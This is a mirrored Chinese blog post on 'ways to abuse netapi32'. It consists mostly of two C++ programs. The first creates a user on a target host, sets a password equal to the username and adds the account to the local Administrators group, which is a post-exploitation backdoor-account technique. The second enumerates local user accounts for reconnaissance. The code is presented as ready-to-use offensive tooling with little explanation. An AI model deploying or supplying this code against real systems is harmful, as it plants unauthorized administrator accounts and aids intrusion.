zoukankan      html  css  js  c++  java
  • netapi32的一些利用方式

    添加用户并且把用户加到管理员组的cpp文件 调用了netapi32

    #ifndef UNICODE
    #define UNICODE
    #endif
    #pragma comment(lib, "netapi32.lib")
    
    #include <stdio.h>
    #include <windows.h> 
    #include <lm.h>
    
    int wmain(int argc, wchar_t* argv[])
    {
        USER_INFO_1 ui;
        DWORD dwLevel = 1;
        DWORD dwError = 0;
        NET_API_STATUS nStatus;
    
        if (argc != 3)
        {
            fwprintf(stderr, L"Usage: %s \\10.0.0.01 users
    ", argv[0]);
            exit(1);
        }
        //
        // Set up the USER_INFO_1 structure.
        //  USER_PRIV_USER: name identifies a user, 
        //    rather than an administrator or a guest.
        //  UF_SCRIPT: required 
        //
        ui.usri1_name = argv[2];
        ui.usri1_password = argv[2];
        ui.usri1_priv = USER_PRIV_USER;
        ui.usri1_home_dir = NULL;
        ui.usri1_comment = NULL;
        ui.usri1_flags = UF_SCRIPT;
        ui.usri1_script_path = NULL;
        //
        // Call the NetUserAdd function, specifying level 1.
        //
        nStatus = NetUserAdd(argv[1],
            dwLevel,
            (LPBYTE)&ui,
            &dwError);
        LOCALGROUP_MEMBERS_INFO_3 account;
        account.lgrmi3_domainandname = ui.usri1_name;
        NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
        //
        // If the call succeeds, inform the user.
        //
        if (nStatus == NERR_Success)
            fwprintf(stderr, L"Add success%s %s
    ",
                argv[2], argv[1]);
        //
        // Otherwise, print the system error.
        //
        else
            fprintf(stderr, "error : %d
    ", nStatus);
    
        return 0;
    }

    枚举用户以及当前group等等

    // WindowsAPIReuser.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
    //
    #ifndef UNICODE
    #define UNICODE
    #endif
    #pragma comment(lib, "netapi32.lib")
    
    #include <stdio.h>
    #include <string.h>
    #include <Windows.h>
    #include <Ntsecapi.h>
    #include <ntstatus.h>
    #include <LM.h>
    #include <winnt.h>
    #include <stdbool.h>
    
    static int get_all_local_users()
    {
    	NET_API_STATUS status;
    
    	USER_INFO_0* buffer = NULL;
    	DWORD preffered_max_len = MAX_PREFERRED_LENGTH;
    	DWORD entries_read = 0;
    	DWORD total_entries = 0;
    	DWORD resume_handle = 0;
    	status = NetUserEnum(L"\\127.0.0.1", 0, 0, (LPBYTE*)&buffer, preffered_max_len, &entries_read, &total_entries, &resume_handle);
    	if (status != NERR_Success) {
    		fwprintf(stderr, L"False");
    		return 1;
    	}
    	for (DWORD i = 0; i < entries_read; i++) {
    		WCHAR* user_name = buffer[i].usri0_name;
    
    		fwprintf(stderr, user_name);
    
    	}
    	NetApiBufferFree(buffer);
    	return 0;
    }
    int main()
    {
    	get_all_local_users();
    	return 0;
    }
    
  • 相关阅读:
    $ [Contest #4]$求和 思博题
    洛谷$P1864 [NOI2009]$二叉查找树 区间$dp$
    洛谷$P4045 [JSOI2009]$密码 $dp$+$AC$自动机
    $bzoj2560$ 串珠子 容斥+$dp$
    洛谷$P1600$ 天天爱跑步 树上差分
    $loj526 [LibreOJ eta Round #4]$ 子集 图论
    $CF888G Xor-MST$ 最小生成树
    $bzoj4152 The Captain$ 最短路
    洛谷$P3645 [APIO2015]$雅加达的摩天楼 最短路
    $bzoj4722$ 由乃 搜索
  • 原文地址:https://www.cnblogs.com/-zhong/p/14513761.html
Copyright © 2011-2022 走看看